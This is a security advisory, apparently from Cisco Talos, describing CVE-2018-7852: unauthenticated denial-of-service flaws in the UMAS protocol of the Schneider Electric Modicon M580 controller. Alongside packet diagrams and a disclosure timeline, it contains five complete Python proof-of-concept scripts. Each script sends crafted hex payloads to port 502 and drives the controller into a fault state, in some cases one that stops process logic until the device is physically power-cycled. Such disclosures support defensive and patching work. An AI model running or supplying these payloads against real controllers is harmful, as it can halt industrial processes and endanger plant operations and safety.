CVE-2018-7852
Multiple denial-of-service vulnerabilities exist in the UMAS protocol functionality of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.70. Specially crafted UMAS commands can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger these vulnerabilities.
Schneider Electric Modicon M580 BMEP582040 SV2.70
https://www.schneider-electric.com/en/work/campaign/m580-epac/
7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE-248: Uncaught Exception
The Modicon M580 is the latest in Schneider Electric’s Modicon line of programmable automation controllers. The device contains a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus and a management protocol referred to as “UMAS.”
When a UMAS command is sent using function code 0x6d with subcode 0x00 and subcode 0x80, it is possible to make the device enter a non-recoverable fault state, causing a denial-of-service condition.
The structure of a malicious function code 0x6d with subcode 0x00 and subsubcode 0x80 command takes a form similar to the following:
0 1 2 3 4 5 6 7 8 9 a b c d e f
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D | E | F
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
1 <F cont.> |
+---+---+---+
A --> Modbus Function Code (0x5a)
B --> Session
C --> UMAS Function Code (0x6d)
D --> Sub Function Code (0x00)
E --> Sub Sub Function Code (0x80)
F --> Data
In the non-recoverable fault state, the CPU has entered an error mode where all remote communications have been stopped, process logic stops execution, and the device requires a physical power cycle to regain functionality.
Exploit Proof of Concept
import socket
def main():
# target definition setup
rhost = "192.168.10.1"
rport = 502
# socket setup
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect((rhost, rport))
msg = "000000000014005a006d00800000ff000000ff000000ff000000".decode('hex')
s.send(msg)
s.close()
if __name__ == '__main__':
main()
When a UMAS command is sent using function code 0x6d with subcode 0x00 and subsubcode 0xf9, it is possible to make the device enter a fault state where the device stops its normal execution and removes the existing strategy, causing a denial-of-service condition.
The structure of a malicious Function Code 0x6d with subcode 0x00 and subsubcode 0xf9 command takes a form similar to the following:
0 1 2 3 4 5 6 7 8 9 a b c d e f
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D | E | F |
+---+---+---+---+---+---+---+---+---+---+
A --> Modbus Function Code (0x5a)
B --> Session
C --> UMAS Function Code (0x6d)
D --> Sub Function Code (0x00)
E --> Sub Sub Function Code (0xf9)
F --> Data
In this state, recovery is possible through use of the programming software UnityPro.
Exploit proof of concept
import socket
def main():
# target definition setup
rhost = "192.168.10.1"
rport = 502
# socket setup
msg = "00000000000b005a006d00f90000000000".decode('hex')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect((rhost, rport))
s.send(msg)
s.close()
if __name__ == '__main__':
main()
When two UMAS commands are sent using function code 0x6d with subcode 0x01 and subcode 0x8b, followed by subcode 0x86, it is possible to make the device enter a non-recoverable fault state, causing a denial-of-service condition.
The structure of a malicious function code 0x6d command takes a form similar to the following:
0 1 2 3 4 5 6 7 8 9 a b c d e f
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D | E |
+---+---+---+---+---+
A --> Modbus Function Code (0x5a)
B --> Session
C --> UMAS Function Code (0x6d)
D --> Sub Function Code (0x01)
E --> Sub Sub Function Code
In the non-recoverable fault state, the CPU has entered an error mode where all remote communications have been stopped, process logic stops execution, and the device requires a physical power cycle to regain functionality.
Exploit proof of concept
import socket
def main():
# target definition setup
rhost = "192.168.10.1"
rport = 502
# socket setup
msg1 = "000000000006005a006d018b".decode('hex')
msg2 = "000000000006005a006d0186".decode('hex')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect((rhost, rport))
s.send(msg1)
s.send(msg2)
s.close()
if __name__ == '__main__':
main()
When a UMAS command is sent using function code 0x6d with subcode 0x78, it is possible to make the device enter a fault state where the device stops its normal execution and removes the existing strategy, causing a denial-of-service condition.
The structure of a malicious function code 0x6d takes a form similar to the following:
0 1 2 3 4 5 6 7 8 9 a b c d e f
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D |
+---+---+---+---+
A --> Modbus Function Code (0x5a)
B --> Session
C --> UMAS Function Code (0x6d)
D --> Sub Function Code (0x78)
In this state, recovery is possible through use of the programming software UnityPro.
Exploit proof of concept
import socket
def main():
# target definition setup
rhost = "192.168.10.1"
rport = 502
# socket setup
msg = "000000000005005a006d78".decode('hex')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect((rhost, rport))
s.send(msg)
s.close()
if __name__ == '__main__':
main()
When a UMAS command is sent using function code 0x6d with subcode 0x79, it is possible to make the device enter a non-recoverable fault state, causing a denial-of-service condition.
The structure of a malicious function code 0x6d command takes a form similar to the following:
0 1 2 3 4 5 6 7 8 9 a b c d e f
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D |
+---+---+---+---+
A --> Modbus Function Code (0x5a)
B --> Session
C --> UMAS Function Code (0x6d)
D --> Sub Function Code (0x79)
In the non-recoverable fault state, the CPU has entered an error mode where all remote communications have been stopped, process logic stops execution, and the device requires a physical power cycle to regain functionality.
Exploit proof of concept
import socket
def main():
# target definition setup
rhost = "192.168.10.1"
rport = 502
# socket setup
msg = "000000000005005a006d79".decode('hex')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect((rhost, rport))
s.send(msg)
s.close()
if __name__ == '__main__':
main()
2019-01-29 - Vendor Disclosure
2019-04-17 - 90 day notice, extended public disclosure to 2019-05-29
2019-04-19 - Vendor provided timeline estimates for fixes/disclosures for multiple issues
2019-05-14 - Vendor patched
2019-05-20 - Vendor confirmed CVE assignment
2019-06-10 - Public Release
Discovered by Jared Rittle of Cisco Talos.